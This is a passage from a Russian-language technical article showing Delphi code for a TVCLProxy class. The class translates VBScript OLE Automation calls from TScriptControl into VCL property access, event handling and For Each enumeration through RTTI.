которая позволяет по имени свойства получить адрес структуры PPropInfo, содержащей информацию о свойстве. В дальнейшем можно получить значение этого свойства при помощи функций GetXXXProp или установить его функциями SetXXXProp. При этом будут корректно вызваны функции получения или установки свойства. Таким образом, у нас есть возможность по имени свойства определить его наличие и установить или получить его значение. Такая возможность позволяет нам создать реализацию IDispatch, динамически транслирующую обращения к свойствам зарегистрированного в TScriptControl объекта автоматизации в обращения к свойствам связанного с ним экземпляра класса VCL
Сводим воедино
Итак, как рассмотрено выше – RTTI Delphi предоставляет достаточную функциональность для того, чтобы обеспечить трансляцию вызовов OLE-Automation в обращения к свойствам компонентов VCL. Для этого необходимо:
1. В методе GetIdsOfNames проверить существование свойства, при помощи функции GetPropInfo и, если такое свойство найдено – вернуть какой-нибудь числовой идентификатор. В роли такого идентификатора удобно использовать результат, возвращаемый функцией GetPropInfo.
2. В методе Invoke – установить или получить значение свойства, используя функции GetXXXProp или SetXXXProp.
Для трансляции вызовов OLE в VCL создадим класс TVCLProxy
type
  // Этот интерфейс понадобится для получения ссылки на
  // класс VCL из методов, в которые передается его
  // интерфейс IDispatch
  IQueryPersistent = interface
 ['{26F5B6E1-9DA5-11D3-BCAD-00902759A497}']
    function GetPersistent: TPersistent;
  end;

  TVCLProxy = class(TInterfacedObject, IDispatch, IQueryPersistent)
  private
    FOwner: TPersistent;
    FScriptControl: TVCLScriptControl;
    procedure DoCreateControl(AName, AClassName: WideString;
      WithEvents: Boolean);
    function SetVCLProperty(PropInfo: PPropInfo;
      Argument: TVariantArg): HRESULT;
    function GetVCLProperty(PropInfo: PPropInfo; dps: TDispParams;
      PDispIds: PDispIdList; var Value: OleVariant): HRESULT;
    { IDispatch }
    function GetTypeInfoCount(out Count: Integer): HResult; stdcall;
    function GetTypeInfo(Index, LocaleID: Integer;
      out TypeInfo): HResult; stdcall;
    function GetIDsOfNames(const IID: TGUID; Names: Pointer;
      NameCount, LocaleID: Integer;
      DispIDs: Pointer): HResult; stdcall;
    function Invoke(DispID: Integer; const IID: TGUID;
      LocaleID: Integer; Flags: Word; var Params;
      VarResult, ExcepInfo, ArgErr: Pointer): HResult; stdcall;
    { IQueryPersistent }
    function GetPersistent: TPersistent;
  protected
    function DoInvoke (DispID: Integer; const IID: TGUID;
      LocaleID: Integer; Flags: Word; var dps : TDispParams;
      pDispIds : PDispIdList; VarResult, ExcepInfo,
      ArgErr: Pointer): HResult; virtual;
  public
    constructor Create(AOwner: TPersistent;
      ScriptControl: TVCLScriptControl);
    destructor Destroy; override;
  end;

Экземпляр этого класса создается при регистрации объекта в TScriptControl и уничтожается автоматически, когда необходимость в нем исчезает.
Поле FOwner хранит ссылку на экземпляр класса VCL, интерфейс к которому предоставляет этот объект. TVCLScriptControl – это наследник TScriptControl.
Главным его отличием является наличие списка зарегистрированных экземпляров TVCLProxy и обработчиков событий, позволяющих компонентам VCL вызывать методы скрипта.
Здесь рассмотрены лишь ключевые моменты реализации, полный код, вместе с примером использования, приведен на компакт диске.

Пишем GetIdsOfNames
В методе GetIdsOfNames мы должны проверить наличие запрошенного свойства и вернуть адрес его структуры TPropInfo, если такое свойство найдено.
Свойства компонентов VCL
function TVCLProxy.GetIDsOfNames(const IID: TGUID; Names: Pointer;
  NameCount, LocaleID: Integer; DispIDs: Pointer): HResult;
var
  S: String;
  Info: PPropInfo;
begin
  Result := S_OK;
  // Получаем имя функции или свойства
  S := PNamesArray(Names)[0];
  // Проверяем, есть ли VCL свойство с таким-же именем
  Info := GetPropInfo(FOwner.ClassInfo, S);
  if Assigned(Info) then begin
    // Свойство есть, возвращаем в качестве DispId
    // адрес структуры PropInfo
    PDispIdsArray(DispIds)[0] := Integer(Info);
  end

Дополнительные функции
Дополним нашу реализацию возможностью вызова некоторых дополнительных функций:
Controls
Для наследников TWinControl возвращает ссылку на дочерний компонент с именем или индексом, заданным в параметре
Count
Для компонентов TWinControl – возвращает количество дочерних компонентов
Для TCollection – возвращает количество элементов
Для TStrings – возвращает количество строк
Add
Для компонентов TWinControl – создает дочерний компонент
Для TCollection – добавляет элемент в коллекцию
Для TStrings – добавляет строку
HasProperty
Возвращает истину, если у объекта есть свойство с заданным именем
Для этого дополним метод GetIdsOfNames следующим кодом:
  else
  // Нет такого свойства, проверяем, не имя ли это
  // одной из определенных нами функций
  if CompareText(S, 'CONTROLS') = 0 then begin
    if (FOwner is TWinControl) then
      PDispIdsArray(DispIds)[0] := DISPID_CONTROLS
    else
      Result := DISP_E_UNKNOWNNAME;
  end
  else
  if CompareText(S, 'COUNT') = 0 then begin
    if (FOwner is TCollection) or (FOwner is TStrings)
       or (FOwner is TWinControl) then
      PDispIdsArray(DispIds)[0] := DISPID_COUNT
    else
      Result := DISP_E_UNKNOWNNAME;
  end
  else
  if CompareText(S, 'ADD') = 0 then begin
    Result := S_OK;
    if (FOwner is TCollection) or (FOwner is TStrings) or
       (FOwner is TWinControl) then
      PDispIdsArray(DispIds)[0] := DISPID_ADD
    else
      Result := DISP_E_UNKNOWNNAME;
  end
  else
  if CompareText(S, 'HASPROPERTY') = 0 then
    PDispIdsArray(DispIds)[0] := DISPID_HASPROPERTY
  else
    Result := DISP_E_UNKNOWNNAME;
end;

Константы DISPID_CONTROLS, DISPID_COUNT и т.д. определены как целые числа из диапазона 1 … 1 000 000. Это вполне безопасно, т.к. адрес структуры TPropInfo никак не может оказаться ниже 1 Мб
Пишем Invoke
Первая часть задачи выполнена – мы проинформировали OLE о наличии в нашем сервере автоматизации поддерживаемых функций. Теперь необходимо реализовать метод Invoke для выполнения этих функций. Из соображений модульности Invoke выполняет подготовительную работу со списком параметров и вызывает метод DoInvoke, в котором мы осуществляем трансляцию DispID в обращения к методам класса VCL.
В методе используются три служебных функции:
CheckArgCount – проверяет количество переданных аргументов
_ValidType – проверяет соответствие аргумента с заданным индексом заданному типу
_IntValue – получает целое число из аргумента с заданным индексом

function TVCLProxy.DoInvoke(DispID: Integer; const IID: TGUID;
  LocaleID: Integer; Flags: Word; var dps: TDispParams;
  pDispIds: PDispIdList; VarResult, ExcepInfo, ArgErr: Pointer
  ): HResult;
var
  S: String;
  Put: Boolean;
  I: Integer;
  P: TPersistent;
  B: Boolean;
  OutValue: OleVariant;
begin
  Result := S_OK;
  case DispId of

Для функции Controls мы должны проверить, что передан один параметр. Если он строковый – дочерний компонент ищется по имени, иначе – по индексу. Если компонент найден – вызывается функция FScriptControl.GetProxy, которая проверяет, есть ли уже «представитель» у этого компонента, при необходимости создает его и возвращает интерфейс IDispatch. Такой алгоритм необходим для корректной работы оператора VBScript Is, который сравнивает две ссылки на объект и выдает истину, если это один и тот же объект, например:

Dim A
Dim B

Set A = C
Set B = C

If A is B Then ...

Если создавать TVCLProxy при каждом случае, когда запрашивается ссылка – они окажутся разными, и оператор Is не будет работать.
   DISPID_CONTROLS:
      begin  // Вызвана функция Controls
        with FOwner as TWinControl do
        begin
          // Проверяем параметр
          CheckArgCount(dps.cArgs, [1], TRUE);
          P := NIL;
          if _ValidType(0, VT_BSTR, FALSE) then begin
            // Если параметр - строка - ищем дочерний компонент
            // с таким именем
            S := dps.rgvarg^[pDispIds^[0]].bstrVal;
            for I := 0 to Pred(ControlCount) do
              if CompareText(S, Controls[I].Name) = 0 then begin
                P := Controls[I];
                Break;
              end;
          end else begin
            // Иначе - параметр - число, берем компонент по индексу
            I := _IntValue(0);
            P := Controls[I];
          end;
          if not Assigned(P) then
            // Компонент не найден
            raise EInvalidParamType.Create('');
          // Возвращаем интерфейс IDispatch для найденного компонента
          OleVariant(VarResult^) := FScriptControl.GetProxy(P);
        end;
      end;

Функция Count должна вызываться без параметров и возвращает количество элементов в запрашиваемом объекте.

   DISPID_COUNT:
      begin // Вызвана функция Count
        // Проверяем, что не было параметров
        CheckArgCount(dps.cArgs, [0], TRUE);
        if FOwner is TWinControl then
          // Возвращаем количество дочерних компонентов
          OleVariant(VarResult^) := TWinControl(FOwner).ControlCount;
        else
        if FOwner is TCollection then
          // Возвращаем количество элементов коллекции
          OleVariant(VarResult^) := TCollection(FOwner).Count
        else
        if FOwner is TStrings then
          // Возвращаем количество строк
          OleVariant(VarResult^) := TStrings(FOwner).Count;
      end;

Метод Add добавляет элемент к объекту-владельцу «представителя». Обратите внимание на реализацию необязательных параметров для TWinControl и TStrings

   DISPID_ADD:
      begin  // Вызвана функция Add
        if FOwner is TWinControl then begin
          // Проверяем количество аргументов
          CheckArgCount(dps.cArgs, [2,3], TRUE);
          // Проверяем типы обязательных аргументов
          _ValidType(0, VT_BSTR, TRUE);
          _ValidType(1, VT_BSTR, TRUE);
          // Третий аргумент - необязательный, если он не задан -
          // полагаем FALSE
          if (dps.cArgs = 3) and _ValidType(2, VT_BOOL, TRUE) then
            B := dps.rgvarg^[pDispIds^[0]].vbool
          else
            B := FALSE;
          // Вызываем метод для создания компонента
          DoCreateControl(dps.rgvarg^[pDispIds^[0]].bstrVal,
            dps.rgvarg^[pDispIds^[1]].bstrVal, B);
        end
        else
        if FOwner is TCollection then begin
          // Добавляем компонент
          P := TCollection(FOwner).Add;
          // И возвращаем его интерфейс IDispatch
          OleVariant(varResult^) := FScriptControl.GetProxy(P);
        end
        else
        if FOwner is TStrings then begin
          // Проверяем наличие аргументов
          CheckArgCount(dps.cArgs, [1,2], TRUE);
          // Проверяем, что аргумент – строка
          _ValidType(0, VT_BSTR, TRUE);
          if dps.cArgs = 2 then
            // Второй аргумент - позиция в списке
            I := _IntValue(1)
          else
            // Если его нету - вставляем в конец
            I := TStrings(FOwner).Count;
          // Добавляем строку
          TStrings(FOwner).Insert(I,
            dps.rgvarg^[pDispIds^[0]].bstrVal);
        end;
      end;

И, наконец, функция HasProperty проверяет наличие у объекта VCL опубликованного свойства с заданным именем

   DISPID_HASPROPERTY:
     begin // Вызвана функция HasProperty
        // Проверяем наличие аргумента
        CheckArgCount(dps.cArgs, [1], TRUE);
        // Проверяем тип аргумента
        _ValidType(0, VT_BSTR, TRUE);
        S := dps.rgvarg^[pDispIds^[0]].bstrVal;
        // Возвращаем True, если свойство есть
        OleVariant(varResult^) :=
          Assigned(GetPropInfo(FOwner.ClassInfo, S));
      end;

Если ни один из DispID не обработан – значит DispID содержит адрес структуры TPropInfo свойства VCL

  else
    // Это не наша функция, значит это свойство
    // Проверяем Flags, чтобы узнать устанавливается значение
    // или получается
    Put := (Flags and DISPATCH_PROPERTYPUT) <> 0;
    if Put then begin
      // Устанавливаем значение
      // Проверяем наличие аргумента
      CheckArgCount(dps.cArgs, [1], TRUE);
      // И устанавливаем свойство
      Result := SetVCLProperty(PPropInfo(DispId),
        dps.rgvarg^[pDispIds^[0]])
    end
    else
    begin
      // Получаем значение
      if DispId = 0 then begin
        // DispId = 0 - требуется свойство по умолчанию
        // Возвращаем свой IDispatch
        OleVariant(VarResult^) := Self as IDispatch;
        Exit;
      end;
      // Получаем значение свойства
      Result := GetVCLProperty(PPropInfo(DispId),
        dps, pDispIds, OutValue);
      if Result = S_OK then
        // Получили успешно - сохраняем результат
        OleVariant(VarResult^) := OutValue;
    end;
  end;
end;

Добавление собственных функций
Для добавления функций, которые понадобятся для решения ваших задач необходимо выполнить ряд простых шагов:
1. В методе GetIdsOfNames проанализировать имя запрашиваемой функции и определить, может ли она быть вызвана для объекта, на который ссылается FOwner
2. Если функция может быть вызвана, Вы должны вернуть уникальный DispID, в противном случае – присвоить Result := DISP_E_UNKNOWNNAME
3. В методе Invoke необходимо обнаружить свой DispID, проверить корректность переданных параметров, получить их значения и выполнить действие.
Обработка событий в компонентах VCL
Важным дополнением к реализуемой функциональности является возможность ассоциировать процедуру на VBScript с событием в компоненте VCL, таким, как OnEnter, OnClick или OnTimer. Для этого добавим в компонент TVCLScriptControl методы, которые будут служить обработчиками созданных в коде скрипта компонентов

  TVCLScriptControl = class(TScriptControl)
  …
  published
    procedure OnChangeHandler(Sender: TObject);
    procedure OnClickHandler(Sender: TObject);
    procedure OnEnterHandler(Sender: TObject);
    procedure OnExitHandler(Sender: TObject);
    procedure OnTimerHandler(Sender: TObject);
  end;

В методе DoCreateControl, который вызывается из DoInvoke при обработке метода «Add», реализуем подключение соответствующих обработчиков событий создаваемого компонента к созданным методам

procedure TVCLProxy.DoCreateControl(AName, AClassName: WideString;
  WithEvents: Boolean);

  procedure SetHandler(Control: TPersistent; Owner: TObject;
    Name: String);
    // Функция устанавливает обработчик события Name на метод формы
    // с именем Name + 'Handler'
  var
    Method: TMethod;
    PropInfo: PPropInfo;
  begin
    // Получаем информацию RTTI
    PropInfo := GetPropInfo(Control.ClassInfo, Name);
    if Assigned(PropInfo) then begin
      // Получаем адрес обработчика
      Method.Code := FScriptControl.MethodAddress(Name + 'Handler');
      if Assigned(Method.Code) then begin
        // Обработчик есть
        Method.Data := FScriptControl;
        // Устанавливаем обработчик
        SetMethodProp(Control, PropInfo, Method);
      end;
    end;
  end;
var
  ThisClass: TControlClass;
  C: TComponent;
  NewOwner: TCustomForm;
begin
  // Назначаем свойство Owner на форму
  if not (FOwner is TCustomForm) then
    NewOwner := GetParentForm(FOwner as TControl)
  else
    NewOwner := FOwner as TCustomForm;
  // Получаем класс создаваемого компонента
  ThisClass := TControlClass(GetClass(AClassName));
  // Создаем компонент
  C := ThisClass.Create(NewOwner);
  // Назначаем имя
  C.Name := AName;
  if C is TControl then
    // Назначаем свойство Parent
    TControl(C).Parent := FOwner as TWinControl;
  if WithEvents then begin
    // Устанавливаем обработчики
    SetHandler(C, NewOwner, 'OnClick');
    SetHandler(C, NewOwner, 'OnChange');
    SetHandler(C, NewOwner, 'OnEnter');
    SetHandler(C, NewOwner, 'OnExit');
    SetHandler(C, NewOwner, 'OnTimer');
  end;
  // Создаем класс реализующий интерфейс IDispatch и добавляем его
  // в пространство имен TScriptControl
  FScriptControl.RegisterClass(AName, C);
end;

Таким образом, если третьим параметром метода «Add» будет задано True, то TVCLScriptControl установит обработчики событий OnClick, OnChange, OnEnter, OnExit и OnTimer на свои методы, реализованные следующим образом:

procedure TVCLScriptControl.OnClickHandler(Sender: TObject);
begin
  RunProc((Sender as TComponent).Name + '_' + 'OnClick');
end;

Примером использования данной функциональности может служить следующий код:

Sub Main()
  Self.Add "Timer1", "TTimer", True
  With Timer1
    .Interval = 1000
    .Enabled = True
  End With
End Sub

Sub Timer1_OnTimer()
  Self.Caption = CStr(Time)
End Sub

Если требуется назначить обработчики событий имеющихся на форме компонентов – это может быть сделано в коде
  Button1.OnClick := ScriptControl1.OnClickHandler;
или реализацией соответствующего метода в GetIdsOfNames и Invoke
Получение свойств
Для получения свойств классов VCL служит метод GetVCLProperty. В нем осуществляется трансляция типов данных Object Pascal в типы данных OLE.

function TVCLProxy.GetVCLProperty(PropInfo: PPropInfo;
  dps: TDispParams; PDispIds: PDispIdList; var Value: OleVariant
  ): HResult;
var
  I, J, K: Integer;
  S: String;
  P, P1: TPersistent;
  Data: PTypeData;
  DT: TDateTime;
  TypeInfo: PTypeInfo;
begin
  Result := S_OK;
  case PropInfo^.PropType^.Kind of

Для данных строкового и целого типа Delphi осуществляет автоматическую трансляцию

    tkString, tkLString, tkWChar, tkWString:
      // Символьная строка
      Value := GetStrProp(FOwner, PropInfo);
    tkChar, tkInteger:
      // Целое число
      Value := GetOrdProp(FOwner, PropInfo);

Для перечислимых типов OLE не имеет прямых аналогов. Поэтому для всех типов, кроме Boolean будем передавать символьную строку с именем соответствующей константы. Для Boolean имеется подходящий тип данных и этот случай необходимо обрабатывать отдельно

    tkEnumeration:
      begin
        // Проверяем, не Boolean ли это
        if CompareText(PropInfo^.PropType^.Name, 'BOOLEAN') = 0 then
          // Передаем как Boolean
          Value := Boolean(GetOrdProp(FOwner, PropInfo));
        else begin
          // Остальные - передаем как строку
          I := GetOrdProp(FOwner, PropInfo);
          Value := GetEnumName(PropInfo^.PropType^, I);
        end;
      end;

Самым сложным случаем является свойство объектного типа. Нормальным поведением будет возврат интерфейса IDispatch, позволяющего OLE обращаться к методам класса, на который ссылается свойство. Однако, для некоторых классов, имеющих свойства «по умолчанию», таких как TStrings и TCollection свойство может быть запрошено с индексом. В этом случае надо выдать соответствующий индексу элемент. В то же время, будучи запрошено без индекса, свойство должно выдать интерфейс IDispatch для работы с экземпляром TCollection или TStrings.
    tkClass:
      begin
        // Получаем значение свойства
        P := TPersistent(GetOrdProp(FOwner, PropInfo));
        if Assigned(P) and (P is TCollection)
           and (dps.cArgs = 1) then begin
          // Запрошен элемент коллекции с индексом (есть параметр)
          if ValidType(dps.rgvarg^[pDispIds^[0]], VT_BSTR,
              FALSE) then begin
            // Параметр строковый, ищем элемент по свойству
            // DisplayName
            S := dps.rgvarg^[pDispIds^[0]].bstrVal;
            P1 := NIL;
            for I := 0 to Pred(TCollection(P).Count) do
              if CompareText(S,
                TCollection(P).Items[I].DisplayName)  = 0 then begin
                P1 := TCollection(P).Items[I];
                Break;
              end;
            if Assigned(P1) then
              // Найден - возвращаем интерфейс IDispatch
              Value := FScriptControl.GetProxy(P1)
            else
              // Не найден
              Result := DISP_E_MEMBERNOTFOUND;
          end else begin
            // Параметр целый, возвращаем элемент по индексу
            I := IntValue(dps.rgvarg^[pDispIds^[0]]);
            if (I >= 0) and (I < TCollection(P).Count) then begin
              P := TCollection(P).Items[I];
              Value := FScriptControl.GetProxy(P);
            end else
              Result := DISP_E_MEMBERNOTFOUND;
          end;
        end

Для класса TStrings результатом будет не интерфейс, а строка, выбранная по имени или по индексу

        else
        if Assigned(P) and (P is TStrings) and (dps.cArgs = 1) then
        begin
          // Запрошен элемент из Strings с индексом (есть параметр)
          if ValidType(dps.rgvarg^[pDispIds^[0]], VT_BSTR,
            FALSE) then begin
            // Параметр строковый - возвращаем значение свойства
            // Values
            S := dps.rgvarg^[pDispIds^[0]].bstrVal;
            Value := TStrings(P).Values[S];
          end else begin
            // Параметр целый, возвращаем строку по индексу
            I := IntValue(dps.rgvarg^[pDispIds^[0]]);
            if (I >= 0) and (I < TStrings(P).Count) then
              Value := TStrings(P)[I]
            else
              Result := DISP_E_MEMBERNOTFOUND;
          end;
        end
        else
          // Общий случай, возвращаем интерфейс IDispatch свойства
          if Assigned(P) then
            Value := FScriptControl.GetProxy(P)
          else
            // Или Unassigned, если оно = NIL
            Value := Unassigned;
      end;

У чисел с плавающей точкой также есть особенный тип данных – TDateTime. Его надо обрабатывать не так, как остальные числа с плавающей точкой, поскольку него в OLE есть отдельный тип данных OleDate.

    tkFloat:
      begin
        if (PropInfo^.PropType^ = System.TypeInfo(TDateTime)) or
           (PropInfo^.PropType^ = System.TypeInfo(TDate)) then
        begin
          // Помещаем значение свойства в промежуточную
          // переменную типа TDateTime
          DT := GetFloatProp(FOwner, PropInfo);
          Value := DT;
        end else
          Value := GetFloatProp(FOwner, PropInfo);
      end;

В случае свойства типа «набор» (Set), не имеющего аналогов в OLE будем возвращать строку с установленными значениями набора, перечисленными через запятую

    tkSet:
      begin
        // Получаем значение свойства (битовая маска)
        I := GetOrdProp(FOwner, PropInfo);
        // Получаем информацию RTTI
        Data := GetTypeData(PropInfo^.PropType^);
        TypeInfo := Data^.CompType^;
        // Формируем строку с набором значений
        S := '';
        if I <> 0 then begin
          for K := 0 to 31 do begin
            J := 1 shl K;
            if (J and I) = J then
              S := S + GetEnumName(TypeInfo, K) + ',';
          end;
          // Удаляем запятую в конце
          System.Delete(S, Length(S), 1);
        end;
        Value := S;
      end;

И, наконец, тип Variant не вызывает никаких сложностей.

    tkVariant:
      Value := GetVariantProp(FOwner, PropInfo);
  else
    // Остальные типы не поддерживаются
    Result := DISP_E_MEMBERNOTFOUND;
  end;
end;

Установка свойств
Для установки свойств классов VCL служит метод SetVCLProperty. В нем осуществляется обратная трансляция типов данных OLE в типы данных Object Pascal.

function TVCLProxy.SetVCLProperty(PropInfo: PPropInfo;
  Argument: TVariantArg): HResult;
var
  I, J, K, CommaPos: Integer;
  GoodToken: Boolean;
  S, S1: String;
  DT: TDateTime;
  ST: TSystemTime;
  IP: IQueryPersistent;
  Data, TypeData: PTypeData;
  TypeInfo: PTypeInfo;
begin
  Result := S_OK;
  case PropInfo^.PropType^.Kind of

Главным отличием этого метода от SetVCLProperty является необходимость проверки типа данных передаваемого параметра

    tkChar, tkString, tkLString, tkWChar, tkWString:
      begin
        // Проверяем тип параметра
        ValidType(Argument, VT_BSTR, TRUE);
        // И устанавливаем свойство
        SetStrProp(FOwner, PropInfo, Argument.bstrVal);
      end;

Для целочисленных свойств добавим еще один сервис – если свойство имеет тип TCursor или TColor – обеспечим трансляцию символьной строки с соответствующим названием константы в целочисленный идентификатор.

    tkInteger:
      begin
        // Проверяем тип свойства на TCursor, TColor
        // если он совпадает и передано символьное значение
        // пытаемся получить его идентификатор
        if (CompareText(PropInfo^.PropType^.Name, 'TCURSOR') = 0) and
           (Argument.vt = VT_BSTR) then begin
          if not IdentToCursor(Argument.bstrVal, I) then begin
            Result := DISP_E_BADVARTYPE;
            Exit;
          end;
        end else
        if (CompareText(PropInfo^.PropType^.Name, 'TCOLOR') = 0) and
          (Argument.vt = VT_BSTR) then begin
          if not IdentToColor(Argument.bstrVal, I) then begin
            Result := DISP_E_BADVARTYPE;
            Exit;
          end;
        end else
          // Просто цифра
          I := IntValue(Argument);
        // Устанавливаем свойство
        SetOrdProp(FOwner, PropInfo, I);
      end;

Для перечислимых типов, за исключением Boolean значение передается в виде символьной строки, Boolean, как и раньше обрабатываем отдельно

    tkEnumeration:
      begin
        // Проверяем на тип Boolean - для него в VBScript есть
        // отдельный тип данных
        if CompareText(PropInfo^.PropType^.Name, 'BOOLEAN') = 0 then
        begin
          // Проверяем тип данных аргумента
          ValidType(Argument, VT_BOOL, TRUE);
          // Это свойство Boolean - получаем значение и значение
          SetOrdProp(FOwner, PropInfo, Integer(Argument.vBool));
        end else begin
          // Перечислимый тип передается в виде символьной строки
          // Проверяем тип данных аргумента
          ValidType(Argument, VT_BSTR, TRUE);
          // Получаем значение
          S := Trim(Argument.bstrVal);
          // Переводим в Integer
          I := GetEnumValue(PropInfo^.PropType^, S);
          // Если успешно - устанавливаем свойство
          if I >= 0 then
            SetOrdProp(FOwner, PropInfo, I)
          else
            raise EInvalidParamType.Create('');
        end;
      end;

При установке объектного свойства необходимо получить ссылку на класс Delphi, представителем которого является переданный интерфейс IDispatch. Для этого служит ранее определенный нами интерфейс IQueryPersistent. Запросив его у объекта-представителя, мы можем получить ссылку на объект VCL и корректно установить свойство.

    tkClass:
      begin
        // Проверяем тип данных - должен быть интерфейс IDispatch
        ValidType(Argument, VT_DISPATCH, TRUE);
        if Assigned(Argument.dispVal) then begin
          // Передано непустое значение
          // Получаем интерфейс IQueryPersistent
          IP := IDispatch(Argument.dispVal) as IQueryPersistent;
          // Получаем ссылку на класс, представителем которого
          // является интерфейс
          I := Integer(IP.GetPersistent);
        end else
          // Иначе - очищаем свойство
          I := 0;
        // Устанавливаем значение
        SetOrdProp(FOwner, PropInfo, I);
      end;

Для чисел с плавающей точкой основной проблемой является отработка свойства типа TDateTime. Дополнительно обеспечим возможность установить это свойство в виде символьной строки. При установке свойства типа TDateTime необходимо обеспечить трансляцию его из формата TOleDate в TDateTime

   tkFloat:
      begin
        if (PropInfo^.PropType^ = System.TypeInfo(TDateTime)) or
           (PropInfo^.PropType^ = System.TypeInfo(TDate)) then
        begin
          // Проверяем тип данных аргумента
          if Argument.vt = VT_BSTR then begin
            DT := StrToDate(Argument.bstrVal);
          end else begin
            ValidType(Argument, VT_DATE, TRUE);
            if VariantTimeToSystemTime(Argument.date, ST) <> 0 then
              DT := SystemTimeToDateTime(ST)
            else begin
              Result := DISP_E_BADVARTYPE;
              Exit;
            end;
          end;
          SetFloatProp(FOwner, PropInfo, DT);
        end else begin
          // Проверяем тип данных аргумента
          ValidType(Argument, VT_R8, TRUE);
          // Устанавливаем значение
          SetFloatProp(FOwner, PropInfo, Argument.dblVal);
        end;
      end;

Наиболее сложным случаем является установка данных типа «набор» (Set). Необходимо выделить из переданной символьной строки разделенные запятыми элементы, для каждого из них – проверить, является ли он допустимым для устанавливаемого свойства, и установить соответствующий бит в числе, которое будет установлено в качестве свойства.

   tkSet:
      begin
        // Проверяем тип данных, должна быть символьная строка
        ValidType(Argument, VT_BSTR, TRUE);
        // Получаем данные
        S := Trim(Argument.bstrVal);
        // Получаем информацию RTTI
        Data := GetTypeData(PropInfo^.PropType^);
        TypeInfo := Data^.CompType^;
        TypeData := GetTypeData(TypeInfo);
        I := 0;
        while Length(S) > 0 do begin
          // Проходим по строке, выбирая разделенные запятыми
          // значения идентификаторов
          CommaPos := Pos(',', S);
          if CommaPos = 0 then
            CommaPos := Length(S) + 1;
          S1 := Trim(System.Copy(S, 1, CommaPos - 1));
          System.Delete(S, 1, CommaPos);
          if Length(S1) > 0 then begin
            // Поверяем, какому из допустимых значений соответствует
            // полученный идентификатор
            K := 1;
            GoodToken := FALSE;
            for J := TypeData^.MinValue to TypeData^.MaxValue do
            begin
              if CompareText(S1, GetEnumName(TypeInfo , J)) = 0 then
              begin
                // Идентификатор найден, добавляем его в маску
                I := I or K;
                GoodToken := TRUE;
              end;
              K := K shl 1;
            end;
            if not GoodToken then begin
              // Идентификатор не найдет
              Result := DISP_E_BADVARTYPE;
              Exit;
            end;
          end;
        end;
        // Устанавливаем значение свойства
        SetOrdProp(FOwner, PropInfo, I);
      end;

Свойство типа Variant устанавливается несложно:

    tkVariant:
      begin
        // Проверяем тип данных аргумента
        ValidType(Argument, VT_VARIANT, TRUE);
        // Устанавливаем значение
        SetVariantProp(FOwner, PropInfo, Argument.pvarVal^);
      end;
   else
     // Остальные типы данных OLE не поддерживаются
     Result := DISP_E_MEMBERNOTFOUND;
  end;
end;

Таким образом, мы реализовали полную функциональность по трансляции вызовов OLE в обращения к свойствам VCL. Наш компонент может динамически создавать другие компоненты на форме, обращаться к их свойствам и даже обрабатывать возникающие в них события.

Оператор For Each
Удобным средством, предоставляемым VBScript, является оператор For Each, организующий цикл по всем элементам заданной коллекции. Добавим поддержку этого оператора в наш компонент.
Интерфейс IEnumVariant
Реализация For Each предусматривает следующее:
1. Исполняющее ядро ScriptControl вызывает метод Invoke объекта, по элементам которого должен производиться цикл с DispID = DISPID_NEWENUM (-4).
2. Объект должен вернуть интерфейс IEnumVariant
3. Далее ядро использует методы IEnumVariant для получения элементов коллекции.
Интерфейс IEnumVariant определен как:

type
  IEnumVariant = interface(IUnknown)
    ['{00020404-0000-0000-C000-000000000046}']
    function Next(celt: LongWord; var rgvar: OleVariant;
      pceltFetched: PLongWord): HResult; stdcall;
    function Skip(celt: LongWord): HResult; stdcall;
    function Reset: HResult; stdcall;
    function Clone(out Enum: IEnumVariant): HResult; stdcall;
  end;

В модуле ActiveX.pas в оригинальной поставке Delphi5 ошибочно определен метод Next

  function Next(celt: LongWord; var rgvar: OleVariant;
     out pceltFetched: LongWord): HResult; stdcall;

поэтому для корректной реализации интерфейс должен быть переопределен.

Класс TVCLEnumerator
Создадим класс, инкапсулирующий функциональность IEnumVariant

type
  TVCLEnumerator = class(TInterfacedObject, IEnumVariant)
  private
    FEnumPosition: Integer;
    FOwner: TPersistent;
    FScriptControl: TVCLScriptControl;
    { IEnumVariant }
    function Next(celt: LongWord; var rgvar: OleVariant;
      pceltFetched: PLongWord): HResult; stdcall;
    function Skip(celt: LongWord): HResult; stdcall;
    function Reset: HResult; stdcall;
    function Clone(out Enum: IEnumVariant): HResult; stdcall;
  public
    constructor Create(AOwner: TPersistent;
      AScriptControl: TVCLScriptControl);
  end;

Конструктор устанавливает свойства FOwner и FScriptControl

constructor TVCLEnumerator.Create(AOwner: TPersistent;
  AScriptControl: TVCLScriptControl);
begin
  inherited Create;
  FOwner := AOwner;
  FScriptControl := AScriptControl;
  FEnumPosition := 0;
end;
Метод Reset подготавливает реализацию интерфейса к началу перебора
function TVCLEnumerator.Reset: HResult;
begin
  FEnumPosition := 0;
  Result := S_OK;
end;

Главная функциональность сосредоточена в методе Next, который получает следующие переменные:
celt – количество запрашиваемых элементов
rgvar – адрес первого элемента массива переменных типа OleVariant
pceltFetched – адрес переменной, в которую должно быть записано количество реально переданных элементов. Этот адрес может быть равен NIL, в этом случае ничего записывать не надо.
Метод должен заполнить запрошенное количество элементов rgvar и вернуть S_OK, если это удалось и S_FALSE, если элементов не хватило.

type
  TVariantList = array [0..0] of OleVariant;

function TVCLEnumerator.Next(celt: LongWord; var rgvar: OleVariant;
  pceltFetched: PLongWord): HResult;
var
  I: Cardinal;
begin
  Result := S_OK;
  I := 0;
Для объекта TWinControl возвращаем интерфейсы IDispatch для компонентов из свойства Controls
  if FOwner is TWinControl then begin
    with TWinControl(FOwner) do begin
      while (FEnumPosition < ControlCount) and (I < celt) do begin
        TVariantList(rgvar)[I] :=
          FScriptControl.GetProxy(Controls[FEnumPosition]);
        Inc(I);
        Inc(FEnumPosition);
      end;
    end;
  end

Для TCollection организуется перебор элементов коллекции

  else
  if FOwner is TCollection then begin
    with TCollection(FOwner) do begin
      while (FEnumPosition < Count) and (I < celt) do begin
        TVariantList(rgvar)[I] :=
          FScriptControl.GetProxy(Items[FEnumPosition]);
        Inc(I);
        Inc(FEnumPosition);
      end;
    end;
  end

Для TStrings перебираются строки и возвращаются их значения.

  else
  if FOwner is TStrings then begin
    with TStrings(FOwner) do begin
      while (FEnumPosition < Count) and (I < celt) do begin
        TVariantList(rgvar)[I] := TStrings(FOwner)[FEnumPosition];
        Inc(I);
        Inc(FEnumPosition);
      end;
    end;
  end else
    Result := S_FALSE;
  if I <> celt then
    Result := S_FALSE;
  if Assigned(pceltFetched) then
    pceltFetched^ := I;
end;

Метод Skip пропускает запрошенное количество элементов и возвращает S_OK, если еще остались элементы для перебора

function TVCLEnumerator.Skip(celt: LongWord): HResult;
var
  Total: Integer;
begin
